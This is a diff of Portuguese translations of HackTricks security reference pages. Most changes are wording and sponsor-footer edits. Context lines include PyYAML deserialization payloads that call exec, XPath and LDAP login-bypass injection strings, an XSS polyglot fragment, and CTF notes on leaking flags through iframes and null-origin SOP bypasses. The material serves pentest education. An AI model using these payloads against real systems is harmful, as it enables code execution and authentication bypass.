@ -223,7 +223,7 @@ Você pode encontrar mais gadgets aqui: [https://deadcode.me/blog/2016/09/02/Bli
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,6 +1,6 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
|
@ -15,7 +15,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
# **Deserialização** Yaml
|
||||
|
||||
As bibliotecas python de **Yaml** também são capazes de **serializar objetos python** e não apenas dados brutos:
|
||||
As bibliotecas **Yaml** em python também são capazes de **serializar objetos python** e não apenas dados brutos:
|
||||
```
|
||||
print(yaml.dump(str("lol")))
|
||||
lol
|
||||
|
@ -79,7 +79,7 @@ print(yaml.unsafe_load_all(data))
|
|||
|
||||
**Versões antigas** do pyyaml eram vulneráveis a ataques de desserialização se você **não especificasse o Loader** ao carregar algo: `yaml.load(data)`
|
||||
|
||||
Você pode encontrar a [**descrição da vulnerabilidade aqui**](https://hackmd.io/@defund/HJZajCVlP)**.** O **exploit** proposto nessa página é:
|
||||
Você pode encontrar a [**descrição da vulnerabilidade aqui**](https://hackmd.io/@defund/HJZajCVlP)**.** O **exploit** proposto naquela página é:
|
||||
```yaml
|
||||
!!python/object/new:str
|
||||
state: !!python/tuple
|
||||
|
@ -88,7 +88,7 @@ state: !!python/tuple
|
|||
state:
|
||||
update: !!python/name:exec
|
||||
```
|
||||
Ou você também pode usar este **comando de uma linha fornecido por @ishaack**:
|
||||
Ou você também pode usar este **one-liner fornecido por @ishaack**:
|
||||
```yaml
|
||||
!!python/object/new:str {state: !!python/tuple ['print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))', !!python/object/new:Warning {state : {update : !!python/name:exec } }]}
|
||||
```
|
||||
|
@ -96,7 +96,7 @@ Note que nas **versões recentes** você não pode **mais chamar `.load()`** **s
|
|||
|
||||
# RCE
|
||||
|
||||
Cargas personalizadas podem ser criadas usando módulos YAML do Python, como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
|
||||
Cargas personalizadas podem ser criadas usando módulos YAML Python como **PyYAML** ou **ruamel.yaml**. Essas cargas podem explorar vulnerabilidades em sistemas que desserializam entradas não confiáveis sem a devida sanitização.
|
||||
```python
|
||||
import yaml
|
||||
from yaml import UnsafeLoader, FullLoader, Loader
|
||||
|
@ -140,7 +140,7 @@ cat /tmp/example_yaml
|
|||
- cat
|
||||
- /root/flag.txt
|
||||
```
|
||||
# Referências
|
||||
## Referências
|
||||
|
||||
* [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
|
||||
* [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
|
||||
|
@ -152,10 +152,10 @@ cat /tmp/example_yaml
|
|||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Upload de PDF - Bypass de XXE e CORS
|
||||
# Upload de PDF - Bypass XXE e CORS
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -21,7 +21,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -34,7 +34,7 @@ Se você encontrar uma página de login, aqui você pode encontrar algumas técn
|
|||
* Lembre-se de que para burlar este login você ainda precisa **saber e enviar um nome de usuário válido**.
|
||||
* **Adicionar a opção `"stringifyObjects":true`** ao chamar `mysql.createConnection` eventualmente b**loqueará todos os comportamentos inesperados quando `Object` é passado** como parâmetro.
|
||||
* Verifique as credenciais:
|
||||
* [**Credenciais padrão**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) da tecnologia/plataforma utilizada
|
||||
* [**Credenciais padrão**](../../generic-methodologies-and-resources/brute-force.md#default-credentials) da tecnologia/plataforma usada
|
||||
* **Combinações comuns** (root, admin, password, nome da tecnologia, usuário padrão com uma dessas senhas).
|
||||
* Crie um dicionário usando **Cewl**, **adicione** o **nome de usuário e senha padrão** (se houver) e tente fazer força bruta usando todas as palavras como **nomes de usuário e senha**
|
||||
* **Força bruta** usando um **dicionário maior (**[**Força bruta**](../../generic-methodologies-and-resources/brute-force.md#http-post-form)**)**
|
||||
|
@ -53,7 +53,7 @@ Na página a seguir, você pode encontrar uma **lista personalizada para tentar
|
|||
|
||||
[Aqui você pode encontrar vários truques para burlar o login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
|
||||
|
||||
Como as Injeções NoSQL exigem alterar o valor dos parâmetros, você precisará testá-los manualmente.
|
||||
Como as Injeções NoSQL requerem alterar o valor dos parâmetros, você precisará testá-los manualmente.
|
||||
|
||||
### Bypass de autenticação de Injeção XPath
|
||||
|
||||
|
@ -73,9 +73,9 @@ Como as Injeções NoSQL exigem alterar o valor dos parâmetros, você precisar
|
|||
admin' or '
|
||||
admin' or '1'='2
|
||||
```
|
||||
### Autenticação de injeção LDAP bypass
|
||||
### Autenticação de injeção LDAP
|
||||
|
||||
[Aqui você pode encontrar vários truques para contornar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
|
||||
[Aqui você pode encontrar vários truques para ignorar o login via **Injeção LDAP.**](../ldap-injection.md#login-bypass)
|
||||
```
|
||||
*
|
||||
*)(&
|
||||
|
@ -91,7 +91,7 @@ admin))(|(|
|
|||
```
|
||||
### Lembrar de Mim
|
||||
|
||||
Se a página tiver a funcionalidade "**Lembrar de Mim**, verifique como ela está implementada e veja se você pode abusar dela para **assumir o controle de outras contas**.
|
||||
Se a página tiver funcionalidade de "**Lembrar de Mim**", verifique como ela está implementada e veja se você pode abusar dela para **assumir o controle de outras contas**.
|
||||
|
||||
### Redirecionamentos
|
||||
|
||||
|
@ -102,6 +102,8 @@ As páginas geralmente redirecionam os usuários após o login, verifique se voc
|
|||
* Verifique se você pode **enumerar nomes de usuários** abusando da funcionalidade de login.
|
||||
* Verifique se o **auto-preenchimento** está ativo nos formulários de senha/**informações sensíveis** de entrada: `<input autocomplete="false"`
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
@ -113,7 +115,7 @@ As páginas geralmente redirecionam os usuários após o login, verifique se voc
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -54,10 +54,10 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,25 +4,25 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
## Ganhar RCs com Iframes
|
||||
|
||||
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710) documentos de blob criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
|
||||
De acordo com este [**writeup do Terjanq**](https://gist.github.com/terjanq/7c1a71b83db5e02253c218765f96a710), documentos de blob criados a partir de origens nulas são isolados para benefícios de segurança, o que significa que se você manter ocupada a página principal, a página do iframe será executada.
|
||||
|
||||
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a página **pai** vai **enviar uma mensagem post** com a **flag**.\
|
||||
Basicamente, nesse desafio um **iframe isolado é executado** e logo **após** ele ser **carregado** a **página pai** vai **enviar uma mensagem post** com a **flag**.\
|
||||
No entanto, essa comunicação postmessage é **vulnerável a XSS** (o **iframe** pode executar código JS).
|
||||
|
||||
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** deixar a página **pai** **enviar os dados sensíveis** (**flag**) **mantendo-a ocupada** e enviar o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá escutar a **mensagem postmessage da página pai e vazar a flag**.\
|
||||
Portanto, o objetivo do atacante é **permitir que a página pai crie o iframe**, mas **antes** de permitir que a **página pai envie os dados sensíveis (flag)**, **mantê-la ocupada** e enviar o **payload para o iframe**. Enquanto a **página pai está ocupada**, o **iframe executa o payload** que será algum JS que irá ouvir a **mensagem postmessage da página pai e vazar a flag**.\
|
||||
Finalmente, o iframe executou o payload e a página pai deixa de estar ocupada, então ela envia a flag e o payload a vaza.
|
||||
|
||||
Mas como você poderia fazer a página pai **ficar ocupada logo após gerar o iframe e apenas enquanto espera o iframe estar pronto para enviar os dados sensíveis?** Basicamente, você precisa encontrar uma **ação assíncrona** que você poderia fazer a página pai **executar**. Por exemplo, nesse desafio a página pai estava **escutando** as **postmessages** assim:
|
||||
Mas como você poderia fazer a página pai **ficar ocupada logo após gerar o iframe e apenas enquanto espera o iframe estar pronto para enviar os dados sensíveis?** Basicamente, você precisa encontrar uma **ação assíncrona** que você poderia fazer a página pai **executar**. Por exemplo, nesse desafio a página pai estava **ouvindo** as **postmessages** assim:
|
||||
```javascript
|
||||
window.addEventListener('message', (e) => {
|
||||
if (e.data == 'blob loaded') {
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypassing SOP com Iframes - 1
|
||||
# Bypassando SOP com Iframes - 1
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -37,7 +37,7 @@ Se a página fosse **incorporável**, você poderia burlar essa proteção dessa
|
|||
|
||||
### Bypass SOP 2 (window.origin === null)
|
||||
|
||||
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox** a menos que `allow-popups-to-escape-sandbox` seja definido.\
|
||||
O fato menos conhecido é que quando o **valor de sandbox `allow-popups` é definido**, então o **popup aberto** irá **herdar** todos os **atributos de sandbox**, a menos que `allow-popups-to-escape-sandbox` seja definido.\
|
||||
Portanto, abrir um **popup** a partir de uma **origem nula** fará com que o **`window.origin`** dentro do popup também seja **`null`**.
|
||||
|
||||
### Solução do Desafio
|
||||
|
@ -86,7 +86,7 @@ document.body.appendChild(f);
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
@ -83,7 +83,7 @@ setTimeout(start, 1000);
|
|||
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
